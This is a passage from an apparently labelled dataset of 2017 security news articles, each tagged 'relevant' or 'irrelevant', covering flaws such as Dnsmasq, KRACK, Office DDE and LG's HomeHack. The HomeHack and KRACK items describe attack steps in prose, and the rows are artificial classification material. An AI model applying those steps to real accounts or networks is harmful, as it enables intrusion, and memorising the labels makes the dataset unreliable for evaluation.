reserved stack area and cannot interfere with the stack."" Qualys says this flaw is not limited to the PIEs whose read-write segment is larger than 128MB, which is the minimum distance between the mmap_base and the highest address of the stack, not the lowest address of the stack. So, when passing 1.5GB of argument strings to execve(), any PIE can be mapped directly below the stack and trigger the vulnerability. Linux distributions, including Red Hat, Debian, and CentOS, have released security updates to address the vulnerability. The Qualys team has promised to publish a proof-of-concept soon exploit that works on CentOS-7 kernel versions ""3.10.0-514.21.2.el7.x86_64"" and ""3.10.0-514.26.1.el7.x86_64,"" once a maximum number of users have had time to patch their systems against the flaw.",relevant
"Samsung Launches Bug Bounty Program — Offering up to $200,000 in Rewards With the growing number of cyber attacks and data breaches, a number of tech companies and organisations have started Bug Bounty programs for encouraging hackers, bug hunters and researchers to find and responsibly report bugs in their services and get rewarded. Samsung is the latest in the list of tech companies to launch a bug bounty program, announcing that the South Korean electronics giant will offer rewards of up to $200,000 to anyone who discovers vulnerabilities in its mobile devices and associated software. Dubbed Mobile Security Rewards Program, the newly-launched bug bounty program will cover 38 Samsung mobile devices released from 2016 onwards which currently receive monthly or quarterly security updates from the company. So, if you want to take part in the Samsung Mobile Security Rewards Program, you have these devices as your target—the Galaxy S, Galaxy Note, Galaxy A, Galaxy J, and the Galaxy Tab series, as well as Samsung's flagship devices, the S8, S8+, and Note 8. ""We take security and privacy issues very seriously; and as an appreciation for helping Samsung Mobile improve the security of our products and minimizing risk to our end-consumers, we are offering a rewards program for eligible security vulnerability reports,"" the company explains on its bug bounty website. ""We look forward to your continued interests and participations in our Samsung Mobile Security Rewards Program. Through this rewards program, we hope to build and maintain valuable relationships with researchers who coordinate disclosure of security issues with Samsung Mobile."" Not just mobile devices, the tech giant's Mobile Services suite is also part of its bug bounty program, which will also cover apps and services such as Bixby, Samsung Account, Samsung Pay, Samsung Pass, among others. For the eligibility of a reward, researchers and bug hunters need to provide a valid proof-of-concept (PoC) exploit that can compromise a Samsung handset without requiring any physical connection or third-party application. The company will evaluate the reward depending on the severity level of the vulnerability (Critical, High, Moderate, and Low) and its impact on devices. The least reward is $200, which is for low-severity flaws, while the highest reward is $200,000, which is for critical bugs. The Higher reward will be offered for bugs that lead to trusted execution environment (TEE) or Bootloader compromise. The level of severity will be determined by Samsung. Samsung's bounty of $200,000 is equal to the bounty reward offered under Apple's bug bounty program but is slightly lower than Microsoft's newly launched bounty program that offers $250,000 for Windows 10 security bugs. Following the path of major tech companies, the non-profit group behind Tor Project recently joined hands with HackerOne to launch its own bug bounty program, with the highest payout for the flaws has been kept $4,000. So, what you are waiting for? Hunt for bugs in Samsung products and submit your findings to the company via the Security Reporting page.",irrelevant
"Zerodium Offers $1 Million for Tor Browser 0-Days That It will Resell to Governments It seems like Tor Browser zero-day exploits are in high demand right now—so much so that someone is ready to pay ONE MILLION dollars. Zerodium—a company that specialises in acquiring and reselling zero-day exploits—just announced that it will pay up to USD 1,000,000 for working zero-day exploits for the popular Tor Browser on Tails Linux and Windows operating system. Tor browser users should take this news an early warning, especially who use Tails OS to protect their privacy. Zero-day exploit acquisition platform has also published some rules and payout details on its website, announcing that the payout for Tor exploits with no JavaScript has been kept double than those with JavaScript enabled. The company has also clearly mentioned that the exploit must leverage remote code execution vulnerability, the initial attack vector should be a web page and it should work against the latest version of Tor Browser. Moreover, the zero-day Tor exploit must work without requiring any user interaction, except for victims to visit a web page. Other attack vectors such as delivery via malicious document are not eligible for this bounty, but ZERODIUM may, at its sole discretion, make a distinct offer to acquire such exploits. Zerodium to Sell Tor Browser 0-Days to Law Enforcement Agencies Although the zero-day market has long been a lucrative business for private firms that regularly offer more payouts for undisclosed vulnerabilities than big technology companies, Zerodium says that it wants to resell the Tor browser exploits to law enforcement agencies to fight crime. In a FAQ, the company has admitted that it will sell the acquired Tor zero-days to law enforcement agencies, and possibly the commercial malware development companies who sell spyware to governments. ""In many cases, [Tor] used by ugly people to conduct activities such as drug trafficking or child abuse. We have launched this special bounty for Tor Browser zero-days to help our government customers fight crime and make the world a better and safer place for all,"" Zerodium said. In response to the Zerodium bounty program, Tor Project says that breaching the security of its anonymity software may risk lives of many users, including human rights defenders, activists, lawyers, and researchers, who rely on it. The non-profit foundation also urges researchers and hackers to responsibly disclose vulnerabilities in Tor via its recently-launched bug bounty program. ""We think the amount of the bounty is a testament to the security we provide. We think it's in the best interest of all Tor users, including government agencies, for any vulnerabilities to be disclosed to us through our own bug bounty,"" Tor Project spokesperson told The Hacker News. ""Over 1.5 million people rely on Tor everyday to protect their privacy online, and for some it's life or death. Participating in Zerodium's program would put our most at-risk users' lives at stake."" Payouts for Tor Browser 0-Day RCE Exploits Here is the list of Zerodium's payouts for Tor Browser Exploits: RCE and LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) without JavaScript: $250,000 Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) without JavaScript: $185,000 RCE+LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) with JavaScript: $125,000 Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) and on Windows 10 RS3/RS2 (64bit) with JavaScript: $85,000 RCE and LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) without JavaScript: $200,000 Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) without JavaScript: $175,000 RCE and LPE to Root/SYSTEM for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) with JavaScript: $100,000 Only RCE (No LPE) for Tor Browser on Tails 3.x (64bit) OR on Windows 10 RS3/RS2 (64bit) with JavaScript: $75,000 Those interested can submit their exploit until November 30th, 2017 at 6:00 pm EDT. The company also notes that the bounty may be terminated before its expiration if the total payout to researchers reaches one million U.S. dollars ($1,000,000).",irrelevant
"Hackers Exploiting Microsoft Servers to Mine Monero - Makes $63,000 In 3 Months Mining cryptocurrencies can be a costly investment as it takes a monstrous amount of computing power, and thus hackers have started using malware that steals computing resources of computers it hijacks to make lots of dollars in digital currency. Security researchers at security firm ESET have spotted one such malware that infected hundreds of Windows web servers with a malicious cryptocurrency miner and helped cybercriminals made more than $63,000 worth of Monero (XMR) in just three months. According to a report published by ESET today, cybercriminals only made modifications to legitimate open source Monero mining software and exploited a known vulnerability in Microsoft IIS 6.0 to secretly install the miner on unpatched Windows servers. Although ESET's investigation does not identify the attackers, it reports that the attackers have been infecting unpatched Windows web servers with the cryptocurrency miner since at least May 2017 to mine 'Monero,' a Bitcoin-like cryptocurrency. The vulnerability (CVE-2017-7269) exploited by the attackers was discovered in March 2017 by Zhiniang Peng and Chen Wu and resides in the WebDAV service of Microsoft IIS version 6.0—the web server in Windows Server 2003 R2. Therefore, hackers are only targeting unpatched machines running Windows Server 2003 to make them part of a botnet, which has already helped them made over $63,000 worth of Monero. windows-iis-server-exploit Since the vulnerability is on a web server, which is meant to be visible from the internet, it can be accessed and exploited by anyone. You can learn more about the vulnerability here. The newly discovered malware mines Monero that has a total market valuation of about $1.4 billion, which is far behind Bitcoin in market capitalisation, but cybercriminals' love for Monero is due to its focus on privacy. Unlike Bitcoin, Monero offers untraceable transactions and is anonymous cryptocurrency in the world today. Another reason of hackers favouring Monero is that it uses a proof-of-work algorithm called CryptoNight, which suits computer or server CPUs and GPUs, while Bitcoin mining requires specific mining hardware. However, this is not the first time when analysts have spotted such malware mining Monero by stealing computing resources of compromised computers. In mid-May, Proofpoint researcher Kafeine discovered cryptocurrency mining malware, called 'Adylkuzz,' which was using EternalBlue exploit—created by the NSA and dumped last month by the Shadow Brokers in April—to infect unpatched Windows systems to mine Monero. A week before that, GuardiCore researchers discovered a new botnet malware, dubbed BondNet, that was also infecting Windows systems, with a combination of techniques, for primarily mining Monero.",relevant
"Immediately Patch Windows 0-Day Flaw That's Being Used to Spread Spyware Get ready to install a fairly large batch of security patches onto your Windows computers. As part of its September Patch Tuesday, Microsoft has released a large batch of security updates to patch a total of 81 CVE-listed vulnerabilities, on all supported versions of Windows and other MS products. The latest security update addresses 27 critical and 54 important vulnerabilities in severity, of which 38 vulnerabilities are impacting Windows, 39 could lead to Remote Code Execution (RCE). Affected Microsoft products include: Internet Explorer Microsoft Edge Microsoft Windows .NET Framework Skype for Business and Lync Microsoft Exchange Server Microsoft Office, Services and Web Apps Adobe Flash Player .NET 0-Day Flaw Under Active Attack According to the company, four of the patched vulnerabilities are publicly known, one of which has already been actively exploited by the attackers in the wild. Here's the list of publically known flaws and their impact: Windows .NET Framework RCE (CVE-2017-8759)—A zero-day flaw, discovered by researchers at cybersecurity firm FireEye and privately reported it to Microsoft, resides in the way Microsoft .NET Framework processes untrusted input data. Microsoft says the flaw could allow an attacker to take control of an affected system, install programs, view, change, or delete data by tricking victims into opening a specially crafted document or application sent over an email. The flaw could even allow an attacker to create new accounts with full user rights. Therefore users with fewer user rights on the system are less impacted than users who operate with admin rights. According to FireEye, this zero-day flaw has actively been exploited by a well-funded cyber espionage group to deliver FinFisher Spyware (FinSpy) to a Russian-speaking ""entity"" via malicious Microsoft Office RTF files in July this year. FinSpy is a highly secret surveillance software that has previously been associated with British company Gamma Group, a company that legally sells surveillance and espionage software to government agencies. Once infected, FinSpy can perform a large number of secret tasks on victims computer, including secretly monitoring computers by turning ON webcams, recording everything the user types with a keylogger, intercepting Skype calls, copying files, and much more. ""The [new variant of FINSPY]...leverages heavily obfuscated code that employs a built-in virtual machine – among other anti-analysis techniques – to make reversing more difficult,"" researchers at FireEye said. ""As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames."" Three Publicly Disclosed Vulnerabilities The remaining three publicly known vulnerabilities affecting the Windows 10 platform include: Device Guard Security Feature Bypass Vulnerability (CVE-2017-8746): This flaw could allow an attacker to inject malicious code into a Windows PowerShell session by bypassing the Device Guard Code Integrity policy. Microsoft Edge Security Feature Bypass Vulnerability (CVE-2017-8723): This flaw resides in Edge where the Content Security Policy (CSP) fails to properly validate certain specially crafted documents, allowing attackers to trick users into visiting a website hosting malware. Broadcom BCM43xx Remote Code Execution Vulnerability (CVE-2017-9417): this flaw exists in the Broadcom chipset in HoloLens, which could be exploited by attackers to send a specially crafted WiFi packet, enabling them to install programs, view, change, or delete data, even create new accounts with full admin rights. BlueBorne Attack: Another Reason to Install Patches Immediately Also, the recently disclosed Bluetooth vulnerabilities known as ""BlueBorne"" (that affected more than 5 Million Bluetooth-enabled devices, including Windows, was silently patched by Microsoft in July, but details of this flaw have only been released now. BlueBorne is a series of flaws in the implementation of Bluetooth that could allow attackers to take over Bluetooth-enabled devices, spread malware completely, or even establish a ""man-in-the-middle"" connection to gain access to devices' critical data and networks without requiring any victim interaction. So, users have another important reason to apply September security patches as soon as possible in order to keep hackers and cyber criminals away from taking control over their computers. Other flaws patched this month include five information disclosure and one denial of service flaws in Windows Hyper-V, two cross-site scripting (XSS) flaws in SharePoint, as well as four memory corruption and two remote code execution vulnerabilities in MS Office. For installing security updates, simply head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.",relevant
"Google Finds 7 Security Flaws in Widely Used Dnsmasq Network Software Security researchers have discovered not one or two, but a total of seven security vulnerabilities in the popular open source Dnsmasq network services software, three of which could allow remote code execution on a vulnerable system and hijack it. Dnsmasq is a widely used lightweight network application tool designed to provide DNS (Domain Name System) forwarder, DHCP (Dynamic Host Configuration Protocol) server, router ads and network boot services for small networks. Dnsmasq comes pre-installed on various devices and operating systems, including Linux distributions such as Ubuntu and Debian, home routers, smartphones and Internet of Things (IoT) devices. A shodan scan for ""Dnsmasq"" reveals around 1.1 million instances worldwide. Recently, Google's security team reviewed Dnsmasq and discovered seven security issues, including DNS-related remote code execution, information disclosure, and denial-of-service (DoS) issues that can be triggered via DNS or DHCP. ""We discovered seven distinct issues (listed below) over the course of our regular internal security assessments,"" Google's security team wrote in a blog post published on Monday. ""Once we determined the severity of these issues, we worked to investigate their impact and exploitability and then produced internal proofs of concept for each of them. We also worked with the maintainer of Dnsmasq, Simon Kelley, to produce appropriate patches and mitigate the issue."" Since the vulnerabilities have now been patched by Dnsmasq developer and maintainer Simon Kelley, Google researchers have released details and proof-of-concept (PoC) exploit code for each of the vulnerabilities. Out of seven vulnerabilities discovered by the team, three can be exploited to perform remote code execution, three can be used in denial of service attacks, and one information leakage flaw. Here's the List of All Vulnerabilities: dnsmasq-network-services CVE-2017-14491—A DNS-based remote code execution vulnerability in Dnsmasq versions before 2.76 is marked as the most severe that allows for unrestricted heap overflows, affecting both directly exposed and internal network setups. CVE-2017-14492—Another remote code execution vulnerability due to a DHCP-based heap overflow issue. CVE-2017-14493—Another noteworthy DHCP-based remote code execution bug caused by a stack buffer overflow. According to Google, this flaw is trivial to exploit if it's used in conjunction with the flaw (CVE-2017-14494) mentioned below. CVE-2017-14494—An information leak in DHCP which can be combined with CVE-2017-14493 to allow attackers bypass ASLR security mechanism and execute arbitrary code on a target system. CVE-2017-14495—A flaw in Dnsmasq which can be exploited to launch a denial of service (DoS) attack by exhausting memory via DNS. The flaw impacts dnsmasq only if one of these options is used: --add-mac, --add-cpe-id or --add-subnet. CVE-2017-14496—Google's Android operating system is specifically affected by this DoS issue which can be exploited by a local hacker or one who is tethered directly to the device. However, Google pointed out the service itself is sandboxed, so the risk to Android users is reduced. CVE-2017-14497—Another DoS issue wherein a large DNS query can crash the software. Since all the issues have already been addressed with the release of Dnsmasq 2.78, Dnsmasq users are advised to update their installations as soon as possible. To patch your devices, make sure to upgrade packages on your system. Google has updated its affected services and released the security fixes to Android partners on 5 September 2017 in October's Android security updates. Other affected Google services are also claimed to be updated. Kubernetes versions 1.5.8, 1.6.11, 1.7.7, and 1.8.0 have also been updated with a patched Dnsmasq.",relevant
"Whoops, Turns Out 2.5 Million More Americans Were Affected By Equifax Breach Equifax data breach was bigger than initially reported, exposing highly sensitive information of more Americans than previously revealed. Credit rating agency Equifax says an additional 2.5 million U.S. consumers were also impacted by the massive data breach the company disclosed last month, bringing the total possible victims to 145.5 million from 143 million. Equifax last month announced that it had suffered a massive data breach that exposed highly sensitive data of hundreds of millions of its customers, which includes names, social security numbers, dates of birth and addresses. In addition, credit card information for nearly 209,000 customers was also stolen, as well as certain documents with personally identifying information (PII) for approximately 182,000 Equifax consumers. The breach was due to a critical vulnerability (CVE-2017-5638) in Apache Struts 2 framework, which Apache patched over two months earlier (on March 6) of the security incident. Equifax was even informed by the US-CERT on March 8 to patch the flaw, but the company failed to identified or patched its systems against the issue, Equifax ex-CEO Richard Smith said in a statement [PDF] to the House Committee on Energy and Commerce. ""It appears that the breach occurred because of both human error and technology failures,"" Smith said. ""Equifax's information security department also ran scans that should have identified any systems that were vulnerable to the Apache Struts issue...Unfortunately, however, the scans did not identify the Apache Struts vulnerability."" In the wake of the security incident, the company hired FireEye-owned security firm Mandiant to investigate the breach, which has now concluded the forensic portion of its investigation and plans to release the results ""promptly."" Mandiant said a total of 145.5 million consumers might now potentially have been impacted by the breach, which is 2.5 million more than previously estimated. However, the firm did not identify any evidence of ""new attacker activity."" ""Mandiant did not identify any evidence of additional or new attacker activity or any access to new databases or tables,"" Equifax said in a Monday press release. ""Instead, this additional population of consumers was confirmed during Mandiant's completion of the remaining investigative tasks and quality assurance procedures built into the investigative process."" The forensic investigation also found that approximately 8,000 Canadian consumers were also impacted, which is much lower than the 100,000 initially estimated figure by the credit rating and reporting firm. However, Equifax said that this figure ""was preliminary and did not materialize."" ""I want to apologize again to all impacted consumers. As this important phase of our work is now completed, we continue to take numerous steps to review and enhance our cybersecurity practices,"" newly appointed interim CEO, Paulino do Rego Barros, Jr. said. ""We also continue to work closely with our internal team and outside advisors to implement and accelerate long-term security improvements."" Equifax, which maintains data on over 820 million consumers and over 91 million businesses worldwide, also said the company would update its own notification by October 8 for its customers who want to check if they were among those affected by the data breach.",relevant
"Microsoft Issues Patches For Severe Flaws, Including Office Zero-Day & DNS Attack As part of its ""October Patch Tuesday,"" Microsoft has today released a large batch of security updates to patch a total of 62 vulnerabilities in its products, including a severe MS office zero-day flaw that has been exploited in the wild. Security updates also include patches for Microsoft Windows operating systems, Internet Explorer, Microsoft Edge, Skype, Microsoft Lync and Microsoft SharePoint Server. Besides the MS Office vulnerability, the company has also addressed two other publicly disclosed (but not yet targeted in the wild) vulnerabilities that affect the SharePoint Server and the Windows Subsystem for Linux. October patch Tuesday also fixes a critical Windows DNS vulnerability that could be exploited by a malicious DNS server to execute arbitrary code on the targeted system. Below you can find a brief technical explanation of all above mentioned critical and important vulnerabilities. Microsoft Office Memory Corruption Vulnerability (CVE-2017-11826) This vulnerability, classified by Microsoft as ""important,"" is caused by a memory corruption issue. It affects all supported versions of MS Office and has been actively exploited by the attackers in targeted attacks. An attacker could exploit this vulnerability either by sending a specially crafted Microsoft Office file to the victims and convincing them to open it, or hosting a site containing specially crafted files and tricking victims to visit it. Once opened, the malicious code within the booby-trapped Office file will execute with the same rights as the logged-in user. So, users with least privilege on their systems are less impacted than those having higher admin rights. The vulnerability was reported to Microsoft by security researchers at China-based security firm Qihoo 360 Core Security, who initially detected an in-the-wild cyber attack which involved malicious RTF files and leveraged this vulnerability on September 28. Microsoft Windows DNSAPI Remote Code Execution Vulnerability (CVE-2017-11779) Among other critical vulnerabilities patched by Microsoft include a critical remote code execution flaw in the Windows DNS client that affects computers running Windows 8.1 and Windows 10, and Windows Server 2012 through 2016. The vulnerability can be triggered by a malicious DNS response, allowing an attacker gain arbitrary code execution on Windows clients or Windows Server installations in the context of the software application that made the DNS request. Nick Freeman, a security researcher from security firm Bishop Fox, discovered the vulnerability and demonstrated how an attacker connected to a public Wi-Fi network could run malicious code on a victim's machine, escalate privileges and take full control over the target computer or server. ""This means that if an attacker controls your DNS server (e.g., through a Man-in-the-Middle attack or a malicious coffee-shop hotspot) – they can gain access to your system,"" the researcher explains. ""This doesn't only affect web browsers – your computer makes DNS queries in the background all the time, and any query can be responded to in order to trigger this issue."" For full technical details, you can watch the video demonstration by Bishop Fox's Dan Petro and head on to Bishop Fox's blog post. Windows Subsystem for Linux Denial of Service Vulnerability (CVE-2017-8703) This denial of service (DoS) issue is yet another noteworthy vulnerability which resides in Windows Subsystem for Linux. The vulnerability, classified by Microsoft as ""important,"" was previously publicly disclosed, but wasn't found actively exploited in the wild. The vulnerability could allow an attacker to execute a malicious application to affect an object in the memory, which eventually allows that the application to crash the target system and made it unresponsive. The only affected Microsoft product by this vulnerability is Windows 10 (Version 1703). ""The update addresses the vulnerability by correcting how Windows Subsystem for Linux handles objects in memory,"" Microsoft said in its advisory. Microsoft Office SharePoint XSS Vulnerability (CVE-2017-11777) Another previously disclosed but not yet under attack vulnerability is a cross-site scripting (XSS) flaw in Microsoft SharePoint Server that affects SharePoint Enterprise Server 2013 Service Pack 1 and SharePoint Enterprise Server 2016. The vulnerability, also classified by Microsoft as ""important,"" can be exploited by sending a maliciously crafted request to an affected SharePoint server. Successful exploitation of this vulnerability could allow an attacker to perform cross-site scripting attacks on affected systems and execute malicious script in the same security context of the current user. ""The attacks could allow the attacker to read content that the attacker is not authorised to read, use the victim's identity to take actions on the SharePoint site on behalf of the user, such as change permissions and delete content, and inject malicious content in the browser of the user,"" Microsoft explains. Besides these, the company has patched a total of 19 vulnerabilities in the scripting engine in Edge and Internet Explorer that could allow web pages to achieve remote-code execution, with the logged-in user's permissions, via memory corruption flaws. Just opening a web page could potentially land you in trouble by executing malware, spyware, ransomware, and other nasty software on the vulnerable computer. More RCE And Other Vulnerabilities Redmond also patched two vulnerabilities in the Windows font library that can allow a web page or document to execute malicious code on a vulnerable machine and hijack it on opening a file with a specially crafted embedded font or visiting a website hosting the malicious file. The update also includes fixes for a bug in Windows TRIE (CVE-2017-11769) that allows DLL files to achieve remote code execution, a programming error (CVE-2017-11776) in Outlook that leaves its emails open to snooping over supposedly secure connections. Other issues patched this month include two remote code execution flaws in the Windows Shell and a remote code execution bug in Windows Search. Microsoft also published an advisory warning user of a security feature bypass issue affecting the firmware of Infineon Trusted Platform Modules (TPMs). Surprisingly, Adobe Flash does not include any security patches. Meanwhile, Adobe has skipped October's Patch Tuesday altogether. Users are strongly advised to apply October security patches as soon as possible in order to keep hackers and cybercriminals away from taking control over their computers. For installing security updates, simply head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.",relevant
"MS Office Built-in Feature Allows Malware Execution Without Macros Enabled Since new forms of cybercrime are on the rise, traditional techniques seem to be shifting towards more clandestine that involve the exploitation of standard system tools and protocols, which are not always monitored. Security researchers at Cisco's Talos threat research group have discovered one such attack campaign spreading malware-equipped Microsoft Word documents that perform code execution on the targeted device without requiring Macros enabled or memory corruption. This Macro-less code execution in MSWord technique, described in detail on Monday by a pair of security researchers from Sensepost, Etienne Stalmans and Saif El-Sherei, which leverages a built-in feature of MS Office, called Dynamic Data Exchange (DDE), to perform code execution. Dynamic Data Exchange (DDE) protocol is one of the several methods that Microsoft allows two running applications to share the same data. The protocol can be used by applications for one-time data transfers and for continuous exchanges in which apps send updates to one another as new data becomes available. Thousands of applications use the DDE protocol, including Microsoft's Excel, MS Word, Quattro Pro, and Visual Basic. The exploitation technique that the researchers described displays no ""security"" warnings to victims, except asking them if they want to execute the application specified in the command—however, this popup alert could also be eliminated ""with proper syntax modification,"" the researchers say. dynamic-data-exchange-ms-word-code-execution The duo has also provided a proof-of-concept video demonstrating the technique. MS Word DDE Attack Being Actively Exploited In the Wild As described by Cisco researchers, this technique was found actively being exploited in the wild by hackers to target several organisations using spear phishing emails, which were spoofed to make them look as if they're sent by the Securities and Exchange Commission (SEC) and convince users into opening them. ""The emails themselves contained a malicious attachment [MS Word] that when opened would initiate a sophisticated multi-stage infection process leading to infection with DNSMessenger malware,"" reads a blog post published by Talos researchers. Earlier March, Talos researchers found attackers distributing DNSMessenger—a completely fileless remote access trojan (RAT) that uses DNS queries to conduct malicious PowerShell commands on compromised computers. Once opened, victims would be prompted with a message informing them that the document contains links to external files, asking them to allow or deny the content to be retrieved and displayed. If allowed, the malicious document will communicate to the attacker hosted content in order to retrieve code that'll be executed to initiate the DNSMessenger malware infection. ""Interestingly, the DDEAUTO field used by this malicious document retrieved code that the attacker had initially hosted on a Louisiana state government website, which was seemingly compromised and used for this purpose,"" the researchers say. How to Protect Yourself And Detect MS Word DDE Attacks What's more worrying? Microsoft doesn't consider this as a security issue, rather according to the company the DDE protocol is a feature that can not be removed but could be improved with better warning alerts for users in future. Although there's no direct way to disable DDE code execution, users can proactively monitor system event logs to check possible exploitation. ms-office-dde-malware-hacking Besides this, the researchers at NVISO Labs have also shared two YARA rules to detect DDE vector in Office Open XML files. The best way to protect yourself from such malware attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless properly verifying the source.",relevant
"Hackers Could Turn LG Smart Appliances Into Remote-Controlled Spy Robot If your smart devices are smart enough to make your life easier, then their smart behaviour could also be exploited by hackers to invade your privacy or spy on you, if not secured properly. Recent research conducted by security researchers at threat prevention firm Check Point highlights privacy concern surrounding smart home devices manufactured by LG. Check Point researchers discovered a security vulnerability in LG SmartThinQ smart home devices that allowed them to hijack internet-connected devices like refrigerators, ovens, dishwashers, air conditioners, dryers, and washing machines manufactured by LG. ...and what's worse? Hackers could even remotely take control of LG's Hom-Bot, a camera-equipped robotic vacuum cleaner, and access the live video feed to spy on anything in the device's vicinity. This hack doesn't even require hacker and targeted device to be on the same network. Dubbed HomeHack, the vulnerability resides in the mobile app and cloud application used to control LG's SmartThinkQ home appliances, allowing an attacker to remotely gain control of any connected appliance controlled by the app. This vulnerability could allow hackers to remotely log into the SmartThinQ cloud application and take over the victim's LG account, according to the researchers. Watch the Video Demonstration of the HomeHack Attack: The researchers demonstrated the risks posed by this vulnerability by taking control of an LG Hom-Bot, which comes equipped with a security camera and motion detection sensors and reportedly owned by over one million users. You can watch the video posted by the Check Point researchers, which shows how easy it is to hijack the appliance and use it to spy on users and their homes. The issue is in the way SmartThinQ app processes logins, and exploiting the issue only requires a hacker with a moderate skill to know the email address of the target, and nothing else. Since hackers can merely bypass a victim's login using the HomeHack flaw, there is no need for them to be on the same network as the victim, and primary IoT security tips such as avoid using default credentials, and always use a secure password also fails here. Also, such devices which are supposed to give users remote access from an app cannot be put behind a firewall to keep them away from the exposure on the Internet. In order to perform this hack, the hacker needs a rooted device and requires to intercept the app traffic with the LG server. However, the LG app has a built-in anti-root mechanism, which immediately closes if detects the smartphone is rooted, and SSL pinning mechanism, which restricts intercepting traffic. So, to bypass both security features, Check Point researchers said hackers could first decompile the source of the app, remove the functions that enable SSL pinning and anti-root from the app's code, recompile the app and install it on their rooted device. Now, hackers can run this tempered app on their rooted smartphone and can set up a proxy which could allow them to intercept the application traffic. Here's How the HomeHack Attack Works: Researchers analyzed the login process of the SmartThinQ app and found that it contains the following requests: Authentication request – the user would enter his/her login credentials, which would be validated by the company's backend server. Signature request – creates a signature based on the above-provided username (i.e. the email address), and this signature has nothing do with the password. Token request – an access token for the user account is generated using the signature response as a header and username as a parameter. Login request – sends the above-generated access token in order to allow the user to login to the account. However, researchers found that there's no dependency between the first step and the subsequent two mentioned above. So, an attacker could first use his/her username to pass step one, and then intercept the traffic in order to change the username to the victim's username for steps two and three, which would effectively grant the attacker access to the victim's account. Once in control of the target account, the attacker can control any LG device or appliance associated with that account, including refrigerators, ovens, dishwashers, washing machines and dryers, air conditioners, and robot vacuum cleaners. Hackers can then change the settings on the hacked devices, or can simply switch on or off. This Is What You Can Do Now: Researchers disclosed the vulnerability to LG on July 31 and the device manufacturer issued an update to patch the issue in September. So, if you own any LG SmartThinQ appliance, you are strongly advised to update to the LG SmartThinQ mobile app to the latest version (1.9.23) through Google Play Store, Apple App Store or the LG SmartThinQ settings.",relevant
"KRACK Demo: Critical Key Reinstallation Attack Against Widely-Used WPA2 Wi-Fi Protocol Do you think your wireless network is secure because you're using WPA2 encryption? If yes, think again! Security researchers have discovered several key management vulnerabilities in the core of Wi-Fi Protected Access II (WPA2) protocol that could allow an attacker to hack into your Wi-Fi network and eavesdrop on the Internet communications. WPA2 is a 13-year-old WiFi authentication scheme widely used to secure WiFi connections, but the standard has been compromised, impacting almost all Wi-Fi devices—including in our homes and businesses, along with the networking companies that build them. Dubbed KRACK—Key Reinstallation Attack—the proof-of-concept attack demonstrated by a team of researchers works against all modern protected Wi-Fi networks and can be abused to steal sensitive information like credit card numbers, passwords, chat messages, emails, and photos. Since the weaknesses reside in the Wi-Fi standard itself, and not in the implementations or any individual product, any correct implementation of WPA2 is likely affected. According to the researchers, the newly discovered attack works against: Both WPA1 and WPA2, Personal and enterprise networks, Ciphers WPA-TKIP, AES-CCMP, and GCMP In short, if your device supports WiFi, it is most likely affected. During their initial research, the researchers discovered that Android, Linux, Apple, Windows, OpenBSD, MediaTek, Linksys, and others, are all affected by the KRACK attacks. It should be noted that the KRACK attack does not help attackers recover the targeted WiFi's password; instead, it allows them to decrypt WiFi users' data without cracking or knowing the actual password. So merely changing your Wi-Fi network password does not prevent (or mitigate) KRACK attack. Here's How the KRACK WPA2 Attack Works (PoC Code): Discovered by researcher Mathy Vanhoef of imec-DistriNet, KU Leuven, the KRACK attack works by exploiting a 4-way handshake of the WPA2 protocol that's used to establish a key for encrypting traffic. For a successful KRACK attack, an attacker needs to trick a victim into re-installing an already-in-use key, which is achieved by manipulating and replaying cryptographic handshake messages. ""When the victim reinstalls the key, associated parameters such as the incremental transmit packet number (i.e. nonce) and receive packet number (i.e. replay counter) are reset to their initial value,"" the researcher writes. ""Essentially, to guarantee security, a key should only be installed and used once. Unfortunately, we found this is not guaranteed by the WPA2 protocol. By manipulating cryptographic handshakes, we can abuse this weakness in practice."" The research [PDF], titled Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2, has been published by Mathy Vanhoef of KU Leuven and Frank Piessens of imec-DistriNet, Nitesh Saxena and Maliheh Shirvanian of the University of Alabama at Birmingham, Yong Li of Huawei Technologies, and Sven Schäge of Ruhr-Universität Bochum. The team has successfully executed the key reinstallation attack against an Android smartphone, showing how an attacker can decrypt all data that the victim transmits over a protected WiFi. You can watch the video demonstration above and download proof-of-concept (PoC) code from Github. ""Decryption of packets is possible because a key reinstallation attack causes the transmit nonces (sometimes also called packet numbers or initialization vectors) to be reset to zero. As a result, the same encryption key is used with nonce values that have already been used in the past,"" the researcher say. The researchers say their key reinstallation attack could be exceptionally devastating against Linux and Android 6.0 or higher, because ""Android and Linux can be tricked into (re)installing an all-zero encryption key (see below for more info)."" However, there's no need to panic, as you aren't vulnerable to just anyone on the internet because a successful exploitation of KRACK attack requires an attacker to be within physical proximity to the intended WiFi network. WPA2 Vulnerabilities and their Brief Details The key management vulnerabilities in the WPA2 protocol discovered by the researchers has been tracked as: CVE-2017-13077: Reinstallation of the pairwise encryption key (PTK-TK) in the four-way handshake. CVE-2017-13078: Reinstallation of the group key (GTK) in the four-way handshake. CVE-2017-13079: Reinstallation of the integrity group key (IGTK) in the four-way handshake. CVE-2017-13080: Reinstallation of the group key (GTK) in the group key handshake. CVE-2017-13081: Reinstallation of the integrity group key (IGTK) in the group key handshake. CVE-2017-13082: Accepting a retransmitted Fast BSS Transition (FT) Reassociation Request and reinstalling the pairwise encryption key (PTK-TK) while processing it. CVE-2017-13084: Reinstallation of the STK key in the PeerKey handshake. CVE-2017-13086: reinstallation of the Tunneled Direct-Link Setup (TDLS) PeerKey (TPK) key in the TDLS handshake. CVE-2017-13087: reinstallation of the group key (GTK) while processing a Wireless Network Management (WNM) Sleep Mode Response frame. CVE-2017-13088: reinstallation of the integrity group key (IGTK) while processing a Wireless Network Management (WNM) Sleep Mode 